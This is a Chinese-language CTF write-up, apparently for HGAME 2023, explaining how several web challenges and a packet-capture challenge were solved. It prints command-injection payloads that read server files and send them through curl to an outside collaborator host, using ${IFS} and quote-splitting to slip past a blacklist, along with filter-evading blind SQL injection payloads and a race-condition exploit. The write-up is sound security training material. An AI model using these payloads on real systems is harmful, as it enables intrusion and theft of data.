web

Ping To The Host

使用`curl`指令将数据发送到hacker服务器上即可完成信息外带.

存在黑名单过滤, 使用`${IFS}`和`base64编码`绕过一下.

```
127.0.0.1|curl${IFS}96dhlt1h1c0l3m9qtek3dl0mpdv3js.burpcollaborator.net/`ls${IFS}/|base64`
```

查询到存储`flag`的目录.

> 其实刚开始以为是`flag`, 想直接`curl`出来, 但执行后发现好像没有这个目录, 于是又查了一遍根目录...

```
YXBwCmJpbgpib290CmRldgpldGMKZmxhZ19pc19oZXJlX2hhaGEKaG9tZQpsaWIKbGliNjQKbWVk

app
bin
boot
dev
etc
flag_is_here_haha
home
lib
lib64
med
```

然后读取`flag_is_here_haha`的内容即可.

```
127.0.0.1|curl${IFS}96dhlt1h1c0l3m9qtek3dl0mpdv3js.burpcollaborator.net/`ca""t${IFS}/fla""g_is_here_haha|base64`
```

解码之后就是`flag`了.

```
hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}
```

数据外带似乎是有长度限制的, 但这个题似乎没有体现 (?).

Login To Get My Gift

升级版的`sqli`.

黑名单过滤了一些关键字和特殊符号, 进行绕过即可.

按规矩打一套, 以下为各阶段`EXP`.

```
# 库名长度
username=hacker'/**/or/**/length(database()/**/limit/**/1,1)/**/regexp/**/7#&password=1q2w3e
```

```
# 爆库名
username=hacker'/**/or/**/left(database(),1)/**/regexp/**/'a'#&password=1q2w3e
l0g1nme

# 爆表名
username=hacker'/**/or/**/left((select/**/table_name/**/from/**/information_schem
a.tables/**/where/**/table_schema/**/regexp/**/database()),1)/**/regexp/**/'§a§'#
&password=1q2w3e
User1nf0mAt1on

# 爆字段名, 共有两个
username=hacker'/**/or/**/length((select/**/column_name/**/from/**/information_sc
hema.columns/**/where/**/table_name/**/regexp/**/'User1nf0mAt1on'/**/limit/**/1,1
))>7#&password=1q2w3e
passw0rd
usern4me

# 爆字段数据
username=hacker'/**/or/**/left((select/**/usern4me/**/from/**/User1nf0mAt1on/**/l
imit/**/0,1),1)/**/regexp/**/'a'#&password=1q2w3e
```

爆字段数据踩了一下坑, 没有考虑大小写的情况, 导致第一遍盲注的时候直接全部作为小写字母处理了, 结果最后不管怎么排列组合都无法登陆, 询问出题的学长才知道是大小写混写的, 又用`ascii`再测了一遍数据.

```
# 爆字段数据-新
username=hacker'/**/or/**/(ascii(right(left((select/**/usern4me/**/from/**/User1n
f0mAt1on/**/limit/**/0,1),2),1)))/**/regexp/**/§1§#&password=1q2w3e
hgAmE2023HAppYnEwyEAr
WeLc0meT0hgAmE2023hAPPySql
```

因为三种常见的截断函数的都被过滤掉了, 所以这里就混合使用`left()`和`right()`代替`substr()`.

登陆`admin`用户, 更改了cookie后, 再访问`/home`即可得到`flag`.

```
hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}
```

Gopher Shop

条件竞争+整数溢出, 和去年的题目有些相似.

注册用户进入商品页面时只有10个`icon`, 一个苹果不多不少, 同时还有买卖次数限制.

买苹果时抓包, 利用`intruder`模块多线程发送购买的请求, 在第一个请求响应前送达后续报文, 应该导致钱变成负数, 但因为超出了`uint`类型的数据范围, 导致发生了整数溢出, 钱数变为`最大值-溢出量`, 这样就获得了超额的苹果, 把这些换成钱就可以获取到`flag`.

misc

Tunnel

wireshark打开附件的流量包, 全局搜索`hgame`, 定位到16进制数据后转成字符串即可得到`flag`.